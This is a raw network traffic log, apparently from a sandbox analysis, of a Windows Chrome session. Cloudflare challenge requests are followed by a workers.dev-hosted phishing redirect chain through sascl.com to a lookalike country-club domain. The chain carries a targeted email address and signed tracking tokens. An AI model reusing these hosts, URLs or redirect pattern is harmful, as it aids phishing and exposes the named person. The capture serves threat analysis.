58 33 68 59 62 6e 4a 53 58 56 6c 78 Data Ascii: bqgtoXFia+hwqi/ss2Rt6nKsMWX3ZjRv6KivNvZ5NnJwLvLpMDA2ayru+Lr5eTQ7+347d3UyvDRuvLx0dzY8cTCAwDG/fwB7wfyAAnW0AzSC+sN7dYdDu8j+A70JiMaCOLqFSTmKB79CQUd8O40KQryNSoMLxUpEUI7NiQ6BzRAAwU6GiUhOkgLQ0UhVlg3UChGSio1MUxYG2RDXDRSWTojbEtkOFpePklFXVYveFdwRGZtTjeAX3hYbnJSXVlx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49770	104.18.95.41	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:11 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1312868108:1736965789:YVAtk20DNbyi-74aByVU73m4ETU4US-JINnkaIqPxyU/90282705888e4357/RxEDsDHj3q9KeaGJjM_ulRbx.w9kKSTcfELJ4CW8CI0-1736968085-1.1.1.1-TuwZ1ZsDL8nWqSE2Ty58okB_kqNGF6Ns2obKToC03zDhC896uo5Fldfb9lapDRgZ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:08:11 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Wed, 15 Jan 2025 19:08:11 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: ItM38F1blrOulVJ58CTOSC3SBI4f9IoryTwcAo0P2lSG42QiajS7exTPZ4mMMfJ7H+xrOFABojqkC/ZXp/+n4g==$09nw2/+FJWwZjhFUOz2PuA== Server: cloudflare CF-RAY: 9028272cccb0efa7-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:08:11 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49771	104.18.95.41	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:15 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1312868108:1736965789:YVAtk20DNbyi-74aByVU73m4ETU4US-JINnkaIqPxyU/90282705888e4357/RxEDsDHj3q9KeaGJjM_ulRbx.w9kKSTcfELJ4CW8CI0-1736968085-1.1.1.1-TuwZ1ZsDL8nWqSE2Ty58okB_kqNGF6Ns2obKToC03zDhC896uo5Fldfb9lapDRgZ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34731 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: RxEDsDHj3q9KeaGJjM_ulRbx.w9kKSTcfELJ4CW8CI0-1736968085-1.1.1.1-TuwZ1ZsDL8nWqSE2Ty58okB_kqNGF6Ns2obKToC03zDhC896uo5Fldfb9lapDRgZ sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/a4vlz/0x4AAAAAAA45hULO7kC3Oxuo/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:08:15 UTC	16384	OUT	Data Raw: 76 5f 39 30 32 38 32 37 30 35 38 38 38 65 34 33 35 37 3d 44 55 48 33 59 4f 30 38 62 35 55 47 55 47 31 55 30 34 30 35 58 76 30 75 73 7a 47 54 49 47 77 33 77 48 73 71 47 65 33 47 70 75 47 71 47 54 33 4c 4b 4f 38 47 49 24 47 73 76 33 47 6d 47 4e 33 4d 48 30 4d 49 47 4f 4b 74 47 46 33 61 35 74 54 34 77 76 48 47 78 47 48 55 47 4d 73 44 48 30 4a 49 49 4a 76 24 76 4b 59 35 30 4b 4f 7a 47 71 76 30 43 6c 34 49 47 73 35 36 50 47 61 65 38 47 63 6e 50 76 76 47 30 24 33 30 51 34 47 30 51 45 4a 47 36 35 4f 47 47 51 68 76 64 45 38 38 6e 55 47 39 58 44 4d 34 77 4f 48 70 4d 68 45 76 4b 73 33 33 6d 75 74 47 79 44 42 41 69 25 32 62 6f 30 79 75 55 47 34 35 47 2b 76 6c 36 49 6d 74 74 38 58 43 4d 36 77 43 4f 33 34 64 24 5a 72 61 6d 70 68 70 37 67 44 56 45 6f 43 4c 79 72 72 4e Data Ascii: v_90282705888e4357=DUH3YO08b5UGUG1U0405Xv0uszGTIGw3wHsqGe3GpuGqGT3LKO8GI$Gsv3GmGN3MH0MIGOKtGF3a5tT4wvHGxGHUGMsDH0JIIJv$vKY50KOzGqv0Cl4IGs56PGae8GcnPvvG0$30Q4G0QEJG65OGGQhvdE88nUG9XDM4wOHpMhEvKs33mutGyDBAi%2bo0yuUG45G+vl6Imtt8XCM6wCO34d$Zramphp7gDVEoCLyrrN
2025-01-15 19:08:15 UTC	16384	OUT	Data Raw: 55 4f 62 4f 6c 47 47 30 6f 73 33 6b 76 61 48 31 4b 33 78 48 62 47 61 66 55 31 6d 74 47 78 48 4d 6a 34 75 6c 45 47 44 57 4b 57 2b 76 47 61 4b 61 33 30 34 47 61 47 30 38 47 5a 47 44 4b 61 43 45 75 47 36 48 30 48 47 55 47 4f 33 79 43 47 71 47 58 4b 30 6e 34 69 47 77 6c 24 55 47 42 47 76 76 34 5a 47 76 47 4f 76 4f 7a 69 49 47 6c 76 61 6f 47 76 47 39 76 34 31 30 51 47 4c 47 73 32 2b 59 47 35 4b 47 5a 47 62 47 79 4b 30 47 30 36 47 74 48 61 32 30 46 76 39 56 43 2b 30 76 47 50 48 34 33 47 59 33 35 48 47 4b 30 75 74 49 47 31 78 33 78 57 73 33 48 4b 47 64 47 77 48 4f 33 47 66 47 41 31 73 34 73 30 47 75 47 34 55 4f 6e 2d 49 75 79 24 49 39 47 48 76 4f 58 30 59 33 63 33 4f 35 47 35 47 48 6a 36 72 76 6b 62 77 33 4c 33 68 75 2b 4d 4f 24 65 4e 30 31 34 6e 45 76 62 32 6f Data Ascii: UObOlGG0os3kvaH1K3xHbGafU1mtGxHMj4ulEGDWKW+vGaKa304GaG08GZGDKaCEuG6H0HGUGO3yCGqGXK0n4iGwl$UGBGvv4ZGvGOvOziIGlvaoGvG9v410QGLGs2+YG5KGZGbGyK0G06GtHa20Fv9VC+0vGPH43GY35HGK0utIG1x3xWs3HKGdGwHO3GfGA1s4s0GuG4UOn-Iuy$I9GHvOX0Y3c3O5G5GHj6rvkbw3L3hu+MO$eN014nEvb2o
2025-01-15 19:08:15 UTC	1963	OUT	Data Raw: 70 34 47 37 47 49 58 74 55 54 58 33 47 2b 30 43 44 55 37 63 34 30 59 73 6b 76 4f 7a 37 4c 78 59 33 79 35 77 32 49 48 64 6b 76 34 52 30 37 47 7a 30 4a 24 30 67 76 5a 37 74 4b 43 34 47 47 33 79 73 7a 51 69 35 39 62 7a 30 43 73 63 67 44 64 30 76 77 31 39 5a 74 30 2b 4b 35 36 4a 33 36 54 48 6d 71 36 47 79 64 43 55 55 61 51 7a 79 72 58 4b 47 68 4f 7a 76 33 45 62 78 37 63 70 4e 61 67 56 2d 42 6b 33 50 5a 34 54 72 4b 42 43 48 76 30 55 76 48 33 30 37 7a 4c 55 4f 6d 57 69 47 61 47 2d 33 36 69 47 39 76 6c 47 30 48 30 59 62 44 76 4f 58 75 72 79 75 62 36 69 30 36 47 65 52 6f 7a 50 37 2b 64 47 36 55 30 6d 58 78 35 35 38 30 38 4e 50 6a 38 2d 65 6c 71 55 55 34 36 30 78 52 4a 48 2d 61 30 55 76 65 7a 35 37 6e 39 50 45 33 30 59 4f 67 76 5a 33 61 67 67 59 47 6e 77 73 63 2d Data Ascii: p4G7GIXtUTX3G+0CDU7c40YskvOz7LxY3y5w2IHdkv4R07Gz0J$0gvZ7tKC4GG3yszQi59bz0CscgDd0vw19Zt0+K56J36THmq6GydCUUaQzyrXKGhOzv3Ebx7cpNagV-Bk3PZ4TrKBCHv0UvH307zLUOmWiGaG-36iG9vlG0H0YbDvOXuryub6i06GeRozP7+dG6U0mXx55808NPj8-elqUU460xRJH-a0Uvez57n9PE30YOgvZ3aggYGnwsc-
2025-01-15 19:08:16 UTC	1244	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 19:08:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4776 Connection: close cf-chl-out-s: hm02/RWqA+VuAHGKU1qFIxp5pMWHlDGMhAq5RVcPz8NEZAaa+v0UyjL4dnLG1uG2XIhXtV3LQbGPVqMrXelcBjRU6nbvvNE8psifn3bh/lUUbc+lpqTNIe2MgYJlO0XyezXcOUdQ7yw3qgjnXwLNexS1aTXhMmWdbe+rrCHjHxbULTte4ixSIkqy5xDb1vPv4oDJqzTvrYZoQaL4jeQZiP2jSDFJrHDQeZkUFcmJ0bzh5r5m0U/gtnyeglKVwGb2XWGhwN2Em2RWw2jMpzMC/2VlRjmcOLo7E7yoivWg2mId1fLjZvo0VdcWw6kttTQ9AxO7t7FqokZ3OOEnhIYtqX9TGuYi96vi8PECLs6kt0BOrocvWlbjBAMc85NU3o+YMQVlcHBuaQ8I5JXKvrhXYiJNP6FzqKcp8CGbWCyIBB5zwGPELQmPvnnG1wx9ntZkynjDDKa4pqK2iZXevKpu+hTroWQ9/5bS86A3L7dlB2aoVd/0QH7d4DZK+Io/yLahTAQgLZz43Ebu3Bs63CKyPXvQX5bJQCW3MxqRqVkXBHVXbTU6h1DhDbVIOi5i/TOWqR99UlzRozYt75Z3WrDc7GJ4QR14L6XbLoRo4oQbbJys90nESR2dumRBt9a7EtpLFjxVrqIYBPGkrIXaLRVrdGa0nphY2fKdjI5mtuyn7kg6Y3Qfm7rnKptIiSHO1ELNd8iGRT/dfMQC2TgczvyYpUNyWwwvOPgQArIV5AroSjphPDGGAt/LeXNXwWWIvq81Th3gyb5jokAi3D7bGAmS20RBPEjsYLxn6Wyvz0e086ub2xGA6AiUEVeafkLA2R/hHxOrCp0O478sI7Uz0LKB4GFyNZ5MIsqrP4QDyusXRI+kUVjifSjEY/Z3APJbP4BknYMKah0QJwtFpbSAI1QxxbSzFWNH7PtJJO+9Ef+Y3aPfDyYYM0ZCpw4DaCG6zZdLy3QxHj00f/iINynEqbMXtt0O9GRGU8KQ8+1/Elj9sQfz8FOX0E [TRUNCATED]
2025-01-15 19:08:16 UTC	229	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 41 34 6b 43 56 6f 71 4f 65 4b 71 5a 68 67 61 68 4c 63 43 6d 56 66 34 73 30 69 68 73 59 6d 70 70 70 45 45 67 44 34 73 59 49 72 4d 34 77 4a 6e 2b 46 62 38 44 57 56 64 67 6c 71 4e 75 32 45 4a 37 50 78 65 58 6a 33 33 6d 70 73 65 53 6e 53 38 78 33 54 76 75 79 75 34 56 51 6c 4e 68 33 43 65 6e 39 53 66 35 59 75 35 65 58 49 38 3d 24 35 73 30 61 62 63 46 4b 68 41 72 7a 4b 4d 51 35 69 42 79 31 6b 67 3d 3d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 39 30 32 38 32 37 34 37 65 63 36 33 37 63 38 38 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: cf-chl-out: A4kCVoqOeKqZhgahLcCmVf4s0ihsYmpppEEgD4sYIrM4wJn+Fb8DWVdglqNu2EJ7PxeXj33mpseSnS8x3Tvuyu4VQlNh3Cen9Sf5Yu5eXI8=$5s0abcFKhArzKMQ5iBy1kg==Server: cloudflareCF-RAY: 90282747ec637c88-EWRalt-svc: h3=":443"; ma=86400
2025-01-15 19:08:16 UTC	1265	IN	Data Raw: 59 6e 74 59 69 6f 6c 39 61 56 53 52 6b 47 46 57 55 46 6d 4a 62 70 42 57 62 35 31 77 6b 6c 71 4d 64 59 43 68 71 61 57 63 66 58 74 6c 6d 62 43 45 62 33 43 78 6e 6e 47 6d 74 33 43 69 6c 59 35 75 62 37 2b 53 63 6f 71 61 6a 38 53 4e 74 48 36 5a 6c 61 54 44 79 72 58 4d 6a 70 6d 48 71 59 6d 55 6f 4b 43 6d 6c 36 61 70 6d 5a 72 61 78 73 76 61 32 62 58 4c 33 39 71 6c 79 4c 62 58 71 71 58 72 70 71 37 77 36 36 36 6b 78 4e 53 75 30 4d 44 43 31 73 62 59 37 39 66 4b 2f 74 7a 63 39 4e 7a 52 33 50 50 79 76 77 50 65 44 64 63 50 7a 51 45 41 44 76 7a 4a 36 78 4d 41 46 4e 54 51 38 65 77 4b 45 67 6b 68 2b 2b 45 66 48 75 2f 66 47 75 63 43 4b 43 6b 58 44 52 63 4e 49 41 76 75 4b 42 34 52 43 52 41 76 39 4f 73 6a 38 52 55 57 48 66 55 73 45 79 49 66 4c 78 51 37 50 30 45 7a 47 42 6f Data Ascii: YntYiol9aVSRkGFWUFmJbpBWb51wklqMdYChqaWcfXtlmbCEb3CxnnGmt3CilY5ub7+Scoqaj8SNtH6ZlaTDyrXMjpmHqYmUoKCml6apmZraxsva2bXL39qlyLbXqqXrpq7w666kxNSu0MDC1sbY79fK/tzc9NzR3PPyvwPeDdcPzQEADvzJ6xMAFNTQ8ewKEgkh++EfHu/fGucCKCkXDRcNIAvuKB4RCRAv9Osj8RUWHfUsEyIfLxQ7P0EzGBo
2025-01-15 19:08:16 UTC	1369	IN	Data Raw: 78 31 41 4a 68 34 69 53 53 50 2b 46 68 30 4f 4a 43 70 4a 4d 52 30 76 4a 78 41 6b 4d 31 63 62 4d 6b 30 72 58 7a 52 51 55 55 4d 79 50 30 64 6f 4d 55 51 33 61 44 31 4a 50 32 41 35 59 56 73 78 50 57 55 32 4c 30 56 34 61 55 56 50 65 7a 35 58 54 34 4e 57 51 56 69 45 68 30 5a 58 69 59 6c 6a 52 58 39 76 61 6d 4e 61 59 35 52 71 56 6e 64 33 6c 6d 32 62 57 48 46 55 6c 31 32 64 6d 35 31 37 65 4a 2b 6c 6e 36 61 62 64 36 69 70 6d 32 36 50 66 72 47 4b 61 6d 65 51 68 34 4e 72 71 70 4f 32 75 5a 65 58 65 62 36 62 66 49 50 43 6d 58 37 48 6e 73 6d 34 68 35 75 39 6a 73 43 5a 30 71 4f 30 71 63 62 46 32 4b 79 7a 6b 73 6d 70 6e 4e 32 34 74 5a 6a 52 72 72 43 76 78 73 61 2b 78 4f 75 71 75 75 76 74 79 4c 7a 7a 76 38 33 47 7a 65 6e 53 77 65 71 32 2f 4c 50 39 32 62 4c 57 77 50 54 42 Data Ascii: x1AJh4iSSP+Fh0OJCpJMR0vJxAkM1cbMk0rXzRQUUMyP0doMUQ3aD1JP2A5YVsxPWU2L0V4aUVPez5XT4NWQViEh0ZXiYljRX9vamNaY5RqVnd3lm2bWHFUl12dm517eJ+ln6abd6ipm26PfrGKameQh4NrqpO2uZeXeb6bfIPCmX7Hnsm4h5u9jsCZ0qO0qcbF2KyzksmpnN24tZjRrrCvxsa+xOuquuvtyLzzv83GzenSweq2/LP92bLWwPTB
2025-01-15 19:08:16 UTC	1369	IN	Data Raw: 77 35 51 6a 6b 6d 52 43 55 30 54 45 35 47 4a 6b 31 4f 4b 31 64 64 53 56 41 72 55 78 63 61 4e 56 31 53 48 69 42 45 58 56 70 63 53 57 35 4c 57 6d 39 43 52 33 52 6a 64 56 4e 41 4c 6d 68 62 4e 46 4e 36 61 31 6b 39 57 31 56 66 66 49 42 43 56 56 5a 48 57 31 6c 34 59 57 52 36 54 6f 42 69 66 32 6d 43 5a 56 52 6b 68 58 71 53 58 48 5a 39 6d 32 69 4e 67 6e 31 77 6b 6f 61 49 58 70 61 58 68 4b 78 6e 6f 49 65 59 6e 58 43 50 71 62 47 74 74 61 61 42 73 33 71 32 74 4c 47 35 6c 59 36 78 6b 38 46 37 74 62 47 70 6c 73 6a 42 6e 5a 65 45 78 59 71 62 77 72 36 71 6a 4e 4b 77 71 72 4f 74 6c 38 69 75 76 62 4c 4b 72 39 57 77 72 73 48 43 33 72 43 2f 73 71 69 37 78 4c 6a 74 37 73 58 68 73 76 58 48 35 66 48 77 30 62 44 32 75 4d 2f 7a 36 4e 50 61 32 67 54 4e 31 4f 48 64 76 73 58 4b 39 Data Ascii: w5QjkmRCU0TE5GJk1OK1ddSVArUxcaNV1SHiBEXVpcSW5LWm9CR3RjdVNALmhbNFN6a1k9W1VffIBCVVZHW1l4YWR6ToBif2mCZVRkhXqSXHZ9m2iNgn1wkoaIXpaXhKxnoIeYnXCPqbGttaaBs3q2tLG5lY6xk8F7tbGplsjBnZeExYqbwr6qjNKwqrOtl8iuvbLKr9WwrsHC3rC/sqi7xLjt7sXhsvXH5fHw0bD2uM/z6NPa2gTN1OHdvsXK9
2025-01-15 19:08:16 UTC	773	IN	Data Raw: 4d 43 6c 56 43 46 54 45 59 4d 31 77 37 46 78 51 75 53 6a 4a 50 4f 6a 4d 6b 59 31 52 53 49 69 6f 2b 52 69 51 75 56 79 30 2f 62 69 6c 50 4c 32 42 33 4e 45 68 4e 4e 44 6c 35 55 33 78 2b 66 57 36 45 66 49 5a 31 67 58 4a 59 68 46 35 65 52 45 32 4d 69 56 39 45 68 47 74 54 6c 5a 42 35 55 6c 70 79 6d 31 5a 6e 6f 48 6c 64 59 58 36 67 63 33 74 2b 6e 6e 69 6c 59 59 4b 71 68 4a 79 61 72 6e 4b 67 6f 48 4e 73 69 70 64 32 74 72 79 6d 69 37 31 36 6f 49 43 5a 6d 71 4b 57 6d 59 43 49 6d 4c 6d 4a 6f 34 57 69 68 63 61 4c 69 4a 32 53 6a 4a 54 50 6c 36 32 76 7a 4b 6e 62 32 65 44 59 73 4d 7a 55 77 5a 2f 52 70 65 6e 70 77 2b 75 71 77 63 58 63 78 71 72 46 72 4c 44 79 39 74 62 59 79 4d 33 74 37 37 62 35 2f 4e 2b 36 77 66 6b 44 30 2f 48 43 36 41 76 36 36 73 62 62 43 2b 72 34 7a 2b Data Ascii: MClVCFTEYM1w7FxQuSjJPOjMkY1RSIio+RiQuVy0/bilPL2B3NEhNNDl5U3x+fW6EfIZ1gXJYhF5eRE2MiV9EhGtTlZB5Ulpym1ZnoHldYX6gc3t+nnilYYKqhJyarnKgoHNsipd2trymi716oICZmqKWmYCImLmJo4WihcaLiJ2SjJTPl62vzKnb2eDYsMzUwZ/Rpenpw+uqwcXcxqrFrLDy9tbYyM3t77b5/N+6wfkD0/HC6Av66sbbC+r4z+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49772	104.18.95.41	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:16 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1312868108:1736965789:YVAtk20DNbyi-74aByVU73m4ETU4US-JINnkaIqPxyU/90282705888e4357/RxEDsDHj3q9KeaGJjM_ulRbx.w9kKSTcfELJ4CW8CI0-1736968085-1.1.1.1-TuwZ1ZsDL8nWqSE2Ty58okB_kqNGF6Ns2obKToC03zDhC896uo5Fldfb9lapDRgZ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:08:16 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Wed, 15 Jan 2025 19:08:16 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 5LXTO0sYIWHzBFmVeaIHwtJCCBVnInQDqrl//2dk0dR9PS33yRlL5v5FpTgWDHlcaeeoguyHikrRIlqmRxUzvg==$TLZHlz0G5mlet4359PuIIw== Server: cloudflare CF-RAY: 9028274cefd2433a-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:08:16 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49773	147.45.179.114	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:16 UTC	586	OUT	OPTIONS /?vtmmhzio&qrc=alison.smith@rbsint.com HTTP/1.1 Host: sascl.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: qrc-auth Origin: https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:08:17 UTC	168	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Date: Wed, 15 Jan 2025 19:08:16 GMT Connection: close Transfer-Encoding: chunked
2025-01-15 19:08:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49774	147.45.179.114	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:17 UTC	770	OUT	GET /?vtmmhzio&qrc=alison.smith@rbsint.com HTTP/1.1 Host: sascl.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" accept: application/json qrc-auth: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:08:18 UTC	330	IN	HTTP/1.1 200 OK Set-Cookie: qPdM=yNACrck07aA5; path=/; samesite=none; secure; httponly Set-Cookie: qPdM.sig=qzLwNiRcHGAcjKY4qDFhLNHDCEo; path=/; samesite=none; secure; httponly content-type: application/json Access-Control-Allow-Origin: * Date: Wed, 15 Jan 2025 19:08:17 GMT Connection: close Transfer-Encoding: chunked
2025-01-15 19:08:18 UTC	383	IN	Data Raw: 31 37 33 0d 0a 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 68 61 76 77 74 68 6f 72 6e 73 63 6f 75 6e 74 72 79 63 6c 75 62 2e 63 6f 6d 2f 3f 64 61 74 61 58 58 30 3d 65 79 4a 68 62 47 63 69 4f 69 4a 49 55 7a 49 31 4e 69 49 73 49 6e 52 35 63 43 49 36 49 6b 70 58 56 43 4a 39 2e 65 79 4a 31 63 6d 77 69 4f 69 4a 6f 64 48 52 77 63 7a 6f 76 4c 32 68 68 64 6e 64 30 61 47 39 79 62 6e 4e 6a 62 33 56 75 64 48 4a 35 59 32 78 31 59 69 35 6a 62 32 30 76 49 69 77 69 5a 47 39 74 59 57 6c 75 49 6a 6f 69 61 47 46 32 64 33 52 6f 62 33 4a 75 63 32 4e 76 64 57 35 30 63 6e 6c 6a 62 48 56 69 4c 6d 4e 76 62 53 49 73 49 6d 74 6c 65 53 49 36 49 6e 6c 4f 51 55 4e 79 59 32 73 77 4e 32 46 42 4e 53 49 73 49 6e 46 79 59 79 49 36 49 6d 46 73 61 58 4e 76 62 69 35 7a 62 57 6c 30 61 45 Data Ascii: 173{"url":"https://havwthornscountryclub.com/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL2hhdnd0aG9ybnNjb3VudHJ5Y2x1Yi5jb20vIiwiZG9tYWluIjoiaGF2d3Rob3Juc2NvdW50cnljbHViLmNvbSIsImtleSI6InlOQUNyY2swN2FBNSIsInFyYyI6ImFsaXNvbi5zbWl0aE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49775	147.45.179.114	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:18 UTC	1053	OUT	GET /?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL2hhdnd0aG9ybnNjb3VudHJ5Y2x1Yi5jb20vIiwiZG9tYWluIjoiaGF2d3Rob3Juc2NvdW50cnljbHViLmNvbSIsImtleSI6InlOQUNyY2swN2FBNSIsInFyYyI6ImFsaXNvbi5zbWl0aEByYnNpbnQuY29tIiwiaWF0IjoxNzM2OTY4MDk3LCJleHAiOjE3MzY5NjgyMTd9.23Kl47oZsQyMVfIf1_skE87GlqvNy9IDhKaSR7lwJYc HTTP/1.1 Host: havwthornscountryclub.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:08:18 UTC	312	IN	HTTP/1.1 302 Found Set-Cookie: qPdM=yNACrck07aA5; path=/; samesite=none; secure; httponly Set-Cookie: qPdM.sig=qzLwNiRcHGAcjKY4qDFhLNHDCEo; path=/; samesite=none; secure; httponly location: /?qrc=alison.smith%40rbsint.com Date: Wed, 15 Jan 2025 19:08:18 GMT Connection: close Transfer-Encoding: chunked
2025-01-15 19:08:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49777	147.45.179.114	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:18 UTC	370	OUT	GET /?vtmmhzio&qrc=alison.smith@rbsint.com HTTP/1.1 Host: sascl.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:08:19 UTC	629	IN	HTTP/1.1 302 Found Set-Cookie: qPdM=kNlPvW4ZjTP2; path=/; samesite=none; secure; httponly Set-Cookie: qPdM.sig=is7JSyfXwkWOErhl9IHSjG9ej9E; path=/; samesite=none; secure; httponly location: https://havwthornscountryclub.com/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL2hhdnd0aG9ybnNjb3VudHJ5Y2x1Yi5jb20vIiwiZG9tYWluIjoiaGF2d3Rob3Juc2NvdW50cnljbHViLmNvbSIsImtleSI6ImtObFB2VzRaalRQMiIsInFyYyI6ImFsaXNvbi5zbWl0aEByYnNpbnQuY29tIiwiaWF0IjoxNzM2OTY4MDk4LCJleHAiOjE3MzY5NjgyMTh9.GmpY5AtZNEdQFY4QmDSvxUWOcc0tv4PbO1GjW1I34c4 Date: Wed, 15 Jan 2025 19:08:18 GMT Connection: close Transfer-Encoding: chunked
2025-01-15 19:08:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
